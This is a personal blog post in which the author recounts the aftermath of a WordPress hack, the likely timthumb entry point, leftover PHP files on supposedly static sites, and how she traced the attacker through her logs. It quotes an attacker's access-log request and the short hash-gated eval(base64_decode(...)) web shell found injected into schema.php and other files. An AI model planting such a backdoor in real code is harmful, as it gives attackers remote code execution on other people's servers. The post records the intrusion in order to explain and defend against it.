too many words by laura lemay

hacked, the followup

(I am getting a lot of hits on this post from google. If you came here because you think your wordpress install has been hacked as well, make sure you also read Hacked! and Hacked, Again!)

I’ve done nearly all the design updates I’m going to do to the blog for now although I have a plenty large To Do list left. Sadly it’s an almost entirely different To Do list than I had before this mess happened.

This is my technical followup to what happened; you can skip it if you don’t care about the details. It is long (of course). I’ll get back to talking about chickens and food soon enough.

We ended yesterday with a complete reinstall of all the files on all my web sites, including a brand new version of WordPress and a new database for this blog. In retrospect, this is what I should have done straight off on monday. The #1 thing I have learned from this is when in doubt, assume it is WordPress and nuke it from space.

Notes on WordPress Security

I’m 99% sure that my hacker got into WordPress via a script called timthumb. This is a known WordPress vector for abuse — tons of themes and plugins use this script. In my case it was my theme, Thesis, that used it. This timthumb page{.broken_link} has a lot of technical detail about why it is a problem, although the phrase “allowing hackers to upload and execute arbitrary PHP code” generally says it all.

There is a WordPress plugin called Timthumb Vulnerability Scanner that will check your entire WordPress installation for old versions of timthumb and made sure you are not subject to this hack. Note that I was using a current version of a respected paid theme and the most recent version of WordPress and the timthumb vulnerability was still there.

I also use the wp-security plugin for general WordPress security, which encourages you to make some of the more obvious changes to wordpress to keep hackers out (removing the admin account, renaming your database tables, etc.). I admit I had not implemented everything that wp-security recommended, because I was lazy. But even if I had it would not have helped with the timthumb hack.

The makers of wp-security have a web site called Website Defender that does much more in-depth security testing of your installation. I hadn’t gotten around to signing up for or installing the Website Defender tools (it requires some PHP to be placed on your web site, which, frankly, worried me right there). But a few people on twitter recommended it, so once I got my new software installed I set it up, and it looks MUCH more comprehensive for protecting WordPress. I kind of consider it anti-virus software for WordPress. They can keep track of new vulnerabilities so I don’t have to.

Lurking Horror in Non-Static Static HTML

I had been worried yesterday that my hacker was somehow able to modify files in my static HTML sites (my www.lauralemay.com and work.lauralemay.com sites) from the hacked WordPress blog site. This led me to believe that I actually had a worse hacker than just a web-based script-kiddie. It turns out I was wrong. PHP was the problem, and I had PHP everywhere that I just didn’t know about or wasn’t paying attention to. This was my fault for not being more diligent.

In the case of my www site, I once ran Movable Type there, and although I had turned off the itself software years ago I still had the files sitting around in the directory and accessible from the web. Tons of PHP floating around in there. This was dumb of me to keep around — especially since it was a very old version of Movable Type.

I was sure that my work site was safe — I wrote all that myself, in plain HTML and CSS. And then buried deep in a sub-sub-sub directory I found one PHP file that Dreamweaver of all things had written as part of “design notes” for the site. I know there was one time I used DreamWeaver for the site but it was years ago and I thought I had long since deleted all those extra notes directories. ONE FILE I didn’t even know was there, but the hacker scripts found it, and that was all it took. (Fortunately all I had to do was trash that one file and that was the end of it.)

I See You

While I was sitting around waiting for stuff to install and reimport and whatnot I got to thinking that maybe there were traces of my hacker in my access and error logs. Fortunately this is not a high-traffic web site (hah), so I could grep out typical requests and page through the rest of my logs without having to look at a zillion lines. A whole lot of lines like this one immediately stood out:

46.37.184.254 - - [04/Jan/2012:03:10:38 -0800] "GET /wp-admin/includes/schema.php?
img_id=1f3870be274f6c49b3e31a0c6728957f&mod_content=ZWNobyAiZ29vZ2xlZWVlIjs= 
HTTP/1.0" 301 572 "http://facebook.com/" "Mozilla/4.0 (compatible; MSIE 8.0; 
Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 
3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C)" 

I know of no legitimate reason for anyone to request anything inside wp-admin unless they are actually administering the site. There’s especially no reason to request schema.php, and no reason at all to give it arguments (img_id and mod_content). I had a copy of my hacked site on my local machine, and I took a look at schema.php. Bingo. Right at the top of the file, above the comments:

<?php if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434")
&& isset($_REQUEST["mod_content"])) { eval(base64_decode($_REQUEST
["mod_content"])); exit(); } ?>

eval(base64_decode you say? I don’t think so. I searched my entire blog site, and found about ten PHP files all over the place that had these lines scribbled at the start. Then I looked through my log files and there was my hacker, always at the same IP address, always pinging those same hacked files.

None of this actually really mattered, since I had trashed all the hacked filed when I reinstalled WordPress. But one of the first things I did when my new site was set up was to block that IP address. And today as I watch my logs roll by I am pleased to see client denied by server configuration coming up again and again.

Feeeelings

I’m not feeling the least bit confident about web software right now, and thinking about the security problems of complex web applications in general is making me break out in hives. It seems that the more complex a web app is the more likely it is that someone out there is going to fuck with it, and I just don’t have the time for that. I went to shared hosting precisely because I was tired of being my own sys admin. I can do it, but I’m not all that good at it, and I don’t want to. I want to write.

On the other hand, the idea of giving up all the administration and putting all my stuff in the cloud also doesn’t give me happy warm fuzzies. Because of course in that situation the cloudmasters are hadooping away on everything I do and generating all sorts of valuable advertising thneeds.

Either way it seems I’m eventually going to be pwned by someone.

grumble.